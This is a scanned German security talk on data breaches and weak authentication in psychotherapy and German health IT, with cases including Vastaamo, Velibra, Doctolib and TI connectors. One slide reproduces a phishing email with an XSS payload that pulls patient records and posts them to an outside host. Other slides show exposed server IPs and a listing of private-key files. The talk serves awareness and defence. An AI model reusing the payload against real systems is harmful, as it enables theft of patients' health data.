Information Security in der

Psychotherapie -
eine Frage des Vertrauens?

Martin Tschirsich
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Fallbeispiel Vastaamo




Fallbeispiel Vastaamo

~,>eine Hande begannen zu zittern.

d | Die Betreffzeile enthielt seinen vollstandigen Namen, seine

d] i] Sozialversicherungsnummer und den Namen einer Klinik, in der
er als Teenager eine psychische Behandlung erhalten hatte:

j T Vastaamo.*




Fallbeispiel Vastaamo

"Wenn Sie 200 Euro innerhalb von 24 Stunden oder
500 Euro innerhalb von 48 Stunden zahlen,
werden lhre Informationen dauerhaft geloscht.
Ansonsten werden lhre Informationen veroffentlicht,
damit alle sie sehen konnen."




Fallbeispiel Vastaamo

"Wenn Sie 200 Euro innerhalb von 24 Stunden oder
500 Euro innerhalb von 48 Stunden zahlen,
werden lhre Informationen dauerhaft geloscht.
Ansonsten werden lhre Informationen veroffentlicht,
damit alle sie sehen konnen."

Im Oktober sind die ersten 100 Patientenakten durchgesickert. Sie enthielten Details uber
ehebrecherische Beziehungen, Selbstmordversuche und padophile Gedanken.

Anfang Januar dieses Jahres wurde die vollstandige Patientendatenbank auf mindestens
11 anonymen Filesharing-Diensten im Internet veroffentlicht.



Fallbeispiel Vastaamo

Ursache: Fehlende Ende-zu-Ende-Sicherheit der Datenbank

Wir brauchen sichere Patientenakten!




Fallbeispiel Velibra

ZEIT4 Ende 2019 |

Digitale-Versorgung-Gesetz

Was bringen Apps auf
Rezept und
Videosprechstunden?



Fallbeispiel Velibra

ZEIT! Ende 2019 ,Der IT-Sicherheitsanalyst Martin Tschirsich

kritisierte aber, dass diese Prufung allein auf
Dokumenten basiere, die der Hersteller
vorlege.”

Digitale-Versorgung-Gesetz

Was bringen Apps auf
Rezept und
Videosprechstunden?



Fallbeispiel Velibra

ZEITA Ende 2019 ,pDer IT-Sicherheitsanalyst Martin Tschirsich

kritisierte aber, dass diese Prufung allein auf
Dokumenten basiere, die der Hersteller

Digitale-Versorgung-Gesetz

Was bringen Apps auf .‘
Rezept und vorlege.
Videosprechstunden?
Ende 2020
P Ence2020
12.10.2020 08:00

TROTZ BEHORDLICHER PRUFUNG

Die erste deutsche ,App auf Rezept”
weist Sicherheitsmangel auf

Von: Julian Olk



Fallbeispiel Velibra

ZEITA Ende 2019 ,pDer IT-Sicherheitsanalyst Martin Tschirsich

kritisierte aber, dass diese Prufung allein auf
Dokumenten basiere, die der Hersteller
vorlege.”

Digitale-Versorgung-Gesetz

Was bringen Apps auf
Rezept und
Videosprechstunden?

Hand Ende 2020

Vollzugriff auf alle Patientendaten!
12.10.2020 08:00

F40.01 Panikstorung
F40.1 Soziale Phobien
Die erste deutsche ,App auf Rezept®  F41.0 Panikstérung

weist Sicherheitsmangel auf F41.1 Generalisierte Angststérung

Von: Julian Olk

TROTZ BEHORDLICHER PRUFUNG



Fallbeispiel Velibra

Ursache: Unsichere Anmeldung mit E-Mail und Passwort

Wir brauchen sichere Authentisierungsmittel!




Fallbeispiel Videosprechstunde

Anlage 4b - Vereinbarung uber die Authentifizierung von Versicherten bei
der ausschlieRlichen Fernbehandlung

“Fir die Videosprechstunde nach Anlage 31b BMV-A priift der Arzt bei einer
ausschlielllichen Fernbehandlung die Identitat des Versicherten anhand der
per Videotelefonie vorgelegten elektronischen Gesundheitskarte®



Fallbeispiel Videosprechstunde
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Fallbeispiel Videosprechstunde

Ursache: Unsichere Identitat der Versicherten

Wir brauchen sichere Identitaten!



Fallbeispiel Arztvernetzung

Zahlen, Daten und Fakten (Stand 19.10.2020)
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Server: nginx

Date: Sun, 22 Dec 2019 19:99:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

Wary: Accept-Encoding

X-Frame-Options: SAMEORIGIN
X-Content-Type-Optiens: nosniff
Content-Security-Policy: default-src ‘self’ data:

HTTP/1.1 200 OK

Server: nginx

Date: Sat, @4 Jan 2028 86:22:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

Wary: Accept-Encoding

X-Frame-Options: SAMEORIGIN
X-Content-Type-Optiens: nosniff
Content-Security-Policy: default-src 'self' data:

HTTP/1.1 200 0K

Server: nginx

Date: Mon, 3@ Dec 2819 88:39:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN
X-Content-Type-Optiens: nosniff
Content-Security-Policy: default-src 'self’' data:

HTTP/1.1 208 OK

Server: nginx

Date: Sun, 29 Dec 2819 89:14:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Vary: Accept-Encoding



Fallbeispiel Arztvernetzung

© Reply | » Forward | & Archive | @ Junk | [ Delete | More v

From R
subject Verleumdung durch Online-Bewertung 17:57
3 4

Sehr geehrter Herr Kollege Dr. Cyfail,

erlauben Sie mir, Sie unbekannterweise iber nachfolgenden Sachverhalt zu
informieren. Soeben bin ich auf diese verleumderische Online-Bewertung
iber Sie gestofen:

Sl e T3y /%3 Chody%200n Load=%22fetch (' /rest/service/suchepatient%3fformat=71son') . then({r)%20=%3E%20%7Br.1son().then((d)%20=%3E%20fetch( "
.com',%/Bmethod: 'POST' mode: 'no-cors' body:JSON.stringity(d)%/D) ) :%/D)%22%3E

Dies nur zu Ihrer Information. Ich wiirde hier Rechtsmittel einlegen.

Mit kollegialen GriiBen
Dr. Cywin



Fallbeispiel Arztvernetzung

e ,Daten konnen nicht nur gelesen, sondern auch manipuliert werden.
eArztbriefe, eAUs etc. konnen vom Angreifer gesendet werden.”

» ,Die Komponenten fur den Zugang zur Elektronischen Arztvernetzung lassen
sich offensichtlich noch einfacher als bei der Tl und ohne ldentitatsprufung
erschleichen.”



Guten Tag, 92.217.76.84,

dies ist ein privates Computersystem, bitte unterlassen Sie nicht autorisierte Zugriffsversuche!




& C A Notsecure | 93234.164.112

Guten Tag, 92.217.76.84,
dies ist ein privates Computersystem, bitte unterlassen Sie nicht autorisierte Zugriffsversuche!

& =2 A Nobs 53334164112/
Index of /certs

MName Last modified Size Description

J Parent Directory -
[F alex@. Jde-certpl?  2013-07-18 16:32 6.5K
@ andread@ Ae-cert,pl 2 2003-07-18 16:32 6.5K
[# cacerkey 2013-07-18 16:32 3.2K
[#] caceripem 2013-07-18 16:32 2.6K
| 7] ira@ Lde-certpl2  2013-07-18 16:32 6.5K
|?) lia@ de-cerepl?2  2013-07-18 16:32 6.5K
[# -cerpem 2013-07-18 16:32 2.6K
B cenm 2013-07-18 16:32 5.6K
ﬁ'_’] -key.pem 2013-07-18 16:32 3.2K
[#] servercn 2014-07-30 14:52 13K

Apache2.4.25 (Debian) Server ar 93.234. 164,112 Porr 443




Fallbeispiel Arztvernetzung

Ursache: Unsichere Einsatzumgebung

Wir brauchen sichere Kommunikation!
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Finden Sie einen Arzt Wahlen Sie Datum und Uhrzeit lhr Termin wird
oder Behandler in lhrer Nahe lhres Termins sofort bestatigt

Die Sicherheit Ihrer Daten
hat fir uns oberste Prioritat

v

Zertifiziortes.
Hasting

Gepriifter
Datenschutz

So werden wir in Europa genutzt

150.000 42 Millionen 2.000

Arzte, Behandler und medizinische Fachangestellte * Besuche pro Monat * Gesundheitseinrichtungen *
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FaIIbelspleI Doctolib

»Zugriff auf ca. 150 Millionen
Terminvereinbarungen moglich”®

Finden Sie einen Arzt Wahlen Sie Datum und Uhrzeit lhr Termin wird
oder Behandler in lhrer Nahe lhres Termins sofort bestatigt

~Datensatze enthielten neben dem
Patientennamen und dem jeweiligen
Termin aufderdem Geschlecht,
Telefonnummer und Angaben zur
Volljahrigkeit und zu Terminabsagen.
Daruber hinaus konnten Name, Ort,
Fachgebiet und Titel des Arztes bzw.
der Arztin ausgelesen werden."

Die Sicherheit lhrer Daten
hat fir uns oberste Prioritat

Zertifiziortes.
Hasting

So werden wir in Europa genutzt

150.000 42 Millionen 2.000

Arzte, Behandler und medizinische Fachangestellte * Besuche pro Monat * Gesundheitseinrichtungen *



Fallbeispiel Doctolib
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Die Sicherheit lhrer Daten
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So werden wir in Europa genutzt

150.000 42 Millionen 2.000

Arzte, Behandler und medizinische Fachangestellte * Besuche pro Monat * Gesundheitseinrichtungen *



Fallbeispiel Doctolib

Ursache: Unsichere Auftragsverarbeitung

Wir brauchen sichere Anwendungen!




Ist die T| die Losung?

v Patientenakten
v |dentitaten und Authentisierungsmittel

v Kommunikationsnetz



Sichere Patientenakte VS ePA

ePA: ,eine Quasi-Ende-zu-Ende Sicherheitslosung”

~

)

Gesundheitskarte
G1

=) 1) Authentisierung
| gema . .
M@%/ Muster mit g 2)Schlusselgenerierung
Sebastian Peters ‘ 3)Vertrauenswurdige Ausfuhrungsumgebung
gg;nfggk789 A123456781-1
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Sichere Patientenakte VS ePA

ePA: ,eine Quasi-Ende-zu-Ende Sicherheitslosung”

a2 Gesundheitskarte
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Sichere Patientenakte VS ePA

ePA: ,eine Quasi-Ende-zu-Ende Sicherheitslosung”

‘ - N Gesundheitskarte\
\QE_EE% ] Nestaaten Rl ZySeirteoseigenerierng

Sebastian Peters ) 3)Vertrauenswurdige Ausfuhrungsumgebung
ié;:{%ﬁﬁSg A123456781-1




Sichere Patientenakte VS ePA

ePA: ,eine Quasi-Ende-zu-Ende Sicherheitslosung”

Gesundheitskarte\

gematik
123456789
Versicherung

| gema

Sebastian Peters

Muster mit
Testdaten

g

A123456781-1




Sichere Authentisierungsmittel VS eGK



Angebot anzeigen flr: —
AK ADOK Hessen v Men

Adressanderung

Wir nehmen den Schutz lhrer persénlichen Daten sehr ernst. Daher teilen Sie uns lhre neue
Anschrift nur schriftlich oder persénlich mit.

Teilen Sie uns lhre neue Anschrift mit

Sie sind umgezogen? Damit lhre persénlichen Daten geschitzt sind und kein Missbrauch
durch Dritte erfolgen kann, bitten wir Sie, uns lhre neue Adresse nur schriftlich oder
persdnlich zu tbermitteln: Entweder in einem Brief oder Fax mit lhrer Unterschrift oder
per eingescanntem Brief mit Unterschrift in einer E-Mail (service@he.aok.de) als
Dateianhang.

Eine ,einfache” E-Mail entspricht leider nicht den Anforderungen des Datenschutzes.
Anderung personlicher Daten (PDF, 745 KB) »

Bitte denken Sie daran, dass auch die hinterlegte Adresse auf lhrer elektronischen
Gesundheitskarte aktualisiert werden muss. Dazu legen Sie lhre Versichertenkarte in
einem unserer Beratungscenter vor oder bestellen tiber das Onlineformular eine neue
Gesundheitskarte.




Angebot anzeigen far: — =
AK AOK Hessen v Menii

Adressanderung

»[...] per eingescanntem Brief
mit Unterschrift in einer
E-Maill [...] als Dateianhang”

Wir nehmen den Schutz lhrer persénlichen Daten sehr ernst. Dah
Anschrift nur schriftlich oder persénlich mit.

Teilen Sie uns lhre neue Anschrift mit

Sie sind umgezogen? Damit lhre persénlichen Daten geschitzl sind und kein Missbrauch
durch Dritte erfolgen kann, bitten wir Sie, uns lhre neue Adrefise nur schriftlich oder
persdnlich zu Gbermitteln: Entweder in einem Brief oder Fax ghit lhrer Unterschrift oder
per eingescanntem Brief mit Unterschrift in einer E-Mail (ser@ce@he.aok.de) als

Dateianhang.

Eine ,einfache” E-Mail entspricht leider nicht den Anforderungen des Datenschutzes.
Anderung personlicher Daten (PDF, 745 KB) »

Bitte denken Sie daran, dass auch die hinterlegte Adresse auf lhrer elektronischen
Gesundheitskarte aktualisiert werden muss. Dazu legen Sie lhre Versichertenkarte in
einem unserer Beratungscenter vor oder bestellen tiber das Onlineformular eine neue
Gesundheitskarte.




Angebot anzeigen far: — =
AK AOK Hessen v Menii

Adressanderun
° »[...] per eingescanntem Brief

mit Unterschrift in einer
E-Mail [...] als Dateianhang®

Wir nehmen den Schutz lhrer persénlichen Daten sehr ernst. Dahe
Anschrift nur schriftlich oder persénlich mit.

Teilen Sie uns lhre neue Anschrift mit

Sie sind umgezogen? Damit lhre persénlichen Daten geschitzl sind und kein Missbrauch
durch Dritte erfolgen kann, bitten wir Sie, uns lhre neue Adrefise nur schriftlich oder
persdnlich zu Gbermitteln: Entweder in einem Brief oder Fax ghit lhrer Unterschrift oder
per eingescanntem Brief mit Unterschrift in einer E-Mail (ser@ice@he 2ok del -
Dateianhang.

»[...] bestellen uber das
Onlineformular eine neue
Gesundheitskarte®

Eine ,einfache” E-Mail entspricht leider nicht den Anforderunge
Anderung personlicher Daten (PDF, 745 KB) »

Bitte denken Sie daran, dass auch die hinterlegte Adresse auf |
Gesundheitskarte aktualisiert werden muss. Dazu legen 5Sie Ihn
einem unserer Beratungscenter vor oder bestellen tiber das Onfneformular eine neue
Gesundheitskarte.




ASK

Die Gesundheitskasse.

ACK Hows 8450 e oo AOK - Die Gesundheitskasse in Hessen
P DV 12 095 Deutsche Post 'QF Servicecenter eGK
Kompakibrief

Senvicezeiten: 24 Stunden an 365 Tagen
Telefonische Beratung: 0800 58 93 774 (kostenfrei)
E-Mail: service@he.ack de
Internet: www.aok.dehessen
Datum: EREpo19

Die neue elektronisch i te (eGK)

Riicksendung der alten Karte

heute erhalten Sie die neue elektronische Gesundheitskarte (eGK). Sie garantiert vollen
Service und umfassenden Versicherungsschutz.

Die Karte ist entweder fiir Sie persénlich bestimmt oder fur Ihre/n Familienangehérige/n.
Bitte unterschreiben Sie die Karte auf der Riickseite. Sie ist dann ab sofort giiltig.
Haben Sie noch alte Gesundheitskarten? Bitte entsorgen Sie diese nicht (iber den Restmiill.
Senden Sie die Karte im beigelegten Freiumschlag an uns zurtck. Wir kimmern uns dann
um eine umwelt- und datenschutzgerechte Entsorgung nach den neuesten gesetzlichen

Bestimmungen.

Im beiliegenden Flyer und unter aok.de/hessen/egk finden Sie weitere Informationen zur
eGK

Fur weitere Fragen stehen wir lnnen germe zur Verfligung.

Mit freundlichen GrliRen
Ihre AOK - Die Gesundheitskasse in Hessen

Anlagen Diese Daten sind gespeichert:

Bitte verwenden Sie
nur diese Karte.

Vorstand des Vi
Detief Lamm (Vorsitzender) André Schinewoll
Dr. Michael Kamer (Stv. Vorsitzender) Dr. Stefan Hoehl

Gesundheitskarte an neue Adresse zugestellt



S 4
g £
- A
S O 5
Y - X
[}
2 S -
@ V% <
e W
e v
(- ©
)
L n
n_Wu (D)
(7))
- Gesundheitska
qv]
.._nb ema
S g
Muster mit
e Testdaten
O
—_— Sebastian Peters
e gematik
T 123456789 A123456781-1
Arztausweis 3

CARTE D'IDENTITE DE MEDECIN
CARNET DE MEDICO
YAOCTOBEPEHME BPAYA

Landesérztekammer Beispielland

NAME RNAM N A
Dr. Mustermann

VORNAMEN

e = = 20.10.21

Institutionsausweis

. Ob0)

0 Ol

yy1234567A 01.01.2013-31.12.2018 2ZA




Sichere ldentitaten VS al.vi und Co

R | Bnceminienim [ ] als geeignetes technisches Verfahren, das
einen hohen Sicherheitsstandard gewahrleistet,
[kommt] z.B. das sog. Videoldent-Verfahren [...]
In Betracht.”



Sichere ldentitaten VS al.vi und Co

R ‘ sndesministeum [ ] 3ls geeignetes technisches Verfahren, das
einen hohen Sicherheitsstandard gewahrleistet,
[kommt] z.B. das sog. Videoldent-Verfahren [...]
In Betracht.”

w 1311 »[ES gibt] zurzeit kein Video-ldent-Verfahren [...],
dass das notige hohe Sicherheitsniveau fur den
dauerhaften Zugang zu [Gesundheitsdaten]
gewahrleisten kann.”



Sichere Kommunikation VS Konnektor

Patientendaten mit , trivialen Methoden" abrufbar

Arztpraxen, Krankenhduser und Apotheken werden tber TI-Konnektoren an das

System angeschlossen. Laut BR und NDR konnten Sicherheitsexperten die

Konnektoren teils mit ,trivialen Methoden” offen (iber das Internet erreichen.




Sichere Kommunikation VS Konnektor

Patientendaten mit , trivialen Methoden" abrufbar

Wieder Konfigurations-Panne: 200 oer TI-Konnektoren an das
Konnektoren von Arztpraxen online herheitsexperten die
erreichbar das Internet erreichen.

Erneut haben Sicherheitsforscher eine Sicherheitslucke in der telematischen

Infrastruktur des Gesundheitswesens gefunden. Details gibt es in ein paar Tagen.



Sichere Kommunikation VS Konnektor

Patientendaten mit , trivialen Methoden" abrufbar

Wieder Konfigurations-Panne: 200 per Tl-Konnektoren an das
Konnektoren von Arztpraxen online herheitsexperten die
erreichbar das Internet erreichen.
Erneut haben Sicherheitsforscher eine Sict DIGITAL HE ﬁ

Infrastruktur des Gesundheitswesens gefur

[ ERHEITSLUCKEN

Massenhaft sensible Daten aus deutschen
Arztpraxen fur Unbefugte zuganglich



Was bring die T1 2.07
v Digitale ldentitaten

v Zero-Trust



Aber! Videoldent

Manipulation/Simulation des Ausweisdokuments
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Ergebnisse / Demo Videos

Kontakt: fernidenti@bsi.bund.de



Aber! Videoldent

Sicherheitsmerkmale des Personalausweises im Videochat?
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Losung Sicherheitsrichtlinie?



CERT-Bund & b

mna @ certbund

LO S u n g S i C h e rh e ItS ri C htl i n i e? #Emotet: Allein im August hat CERT-Bund ca. 5.400

neue #kompromittierte #EMail-Konten, zu denen
Zugangsdaten auf #infizierten Systemen ausgespaht
wurden, um diese zum #Spam-Versand zur weiteren
Verbreitung von Emotet zu missbrauchen, an deutsche
Netzbetreiber/Provider gemeldet.

anwalt@kanzlei- NG i<

verwaltung@schule . (-
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u .de
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info@arztpraxis -
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Gesetzliche Anforderungen
DSGVO
Empfehlungen arztliche
StGB Schweigepflicht und
Datenschutz KBV
Berusordnung Technische Anlage
BGB Datenschutz der KBV
\
/

\

Vertragliche Anfs

ang Signaturkarte

V

ag Uber Erstellung einer SMC-B

Konnektor-Betriebshandbuch

.




Gesetzliche
Anforderungen

DSGVO
Artikel 32
Sicherheit der Verarbeitung

StGB
§ 203 Schweigepflicht

MBO-A
§ 10 Dokumentationspflicht

BGB

8 630f Dokumentation der
Behandlung

Vertragliche

Anforderungen

KV-SafeNet
Sicherheitsanforderungen
SafeNet-Arbeitsplatz

Vertrag Signaturkarte
Sicherheitsanforderungen nach
eHBA-Teilnehmerunterrichtung

BMV-A
Sicherheitsanforderungen
Videosprechstunde

Vertrag Praxisausweis

Sicherheitsanforderungen
.Pflichten des Auftraggebers®

AGB TI-Konnektor
Sicherheitsanforderungen
.Pflichten des Kunden*®



Losung Sicherheitsrichtlinie?

ArzteZeitung & Q=

,ArzteTag"-Podcast
Greift die IT-Sicherheitsrichtlinie zu kurz,
Martin Tschirsich?

Seit Januar ist die IT-Sicherheitsrichtlinie der KBV in Kraft -
und stoRt auf viel Kritik. Im ,Arzte Tag"-Podcast erlautert
der IT-Experte Martin Tschirsich, warum er die IT-
Sicherheitsrichtlinie fur ,vollig irrelevant” halt.

Von éi‘ Margarethe Urbanek

Veroffentlicht: 10.02.2021, 15:17 Uhr




Losung Sicherheitsrichtlinie?

ArzteZeitung & Q=

,ArzteTag"-Podcast
Greift die IT-Sicherheitsrichtlinie zu kurz,
Martin Tschirsich?

...kann
unsichere Prozesse

Seit Januar ist die IT-Sicherheitsrichtlinie der KBV in Kraft -
und stoRt auf viel Kritik. Im ,Arzte Tag"-Podcast erlautert
der IT-Experte Martin Tschirsich, warum er die IT-
Sicherheitsrichtlinie fur ,vollig irrelevant” halt.

Von @ Margarethe Urbanek

Veroffentlicht: 10.02.2021, 15:17 Uhr

und
fehlende Basis-Infrastruktur
nicht ersetzen!




Losung Sicherheitsrichtlinie?

* Update des Laptop- bzw. PC-Betriebssystems
* eingebaute Festplatte(n) verschlisseln
* Ende-zu-Ende-verschlisselte Kommunikation
(Videosprechstunde, Signal, Threema, OpenPGP, S/MIME)
* Passwortmanager (z.B. KeePass, Bitwarden, Strongbox)
* Zwei-Faktor-Authentifizierung im Internet (und ggf. im internen Netzwerk)
* Praxisverwaltungssystem und einzelne Dateien(-archive) verschlisseln
* Netztrennung, Live-Systeme und Nutzung separater Rechner / Betriebssysteme
* Virtualisierung: VirtualBox und (Windows-Pro-) Sandbox
* E-Mails signieren, offentliche Schllssel auf Vertrauenswirdigkeit priifen
* hardwareverschlisselte Speichermedien, Schllisselspeicherung in Hardware
* Cloud-Dienste von Apple und anderen Anbietern deaktivieren
* Windows die Erweiterungen der Dateinamen immer anzeigen lassen
* Schllssel, Passwoérter und Zugriffswege in einem Praxistestament hinterlegen

YW TAWPBM» O— O—

Fortbildung Praxissicherheit - 16.01.2021 - Matthias Gléckner 19
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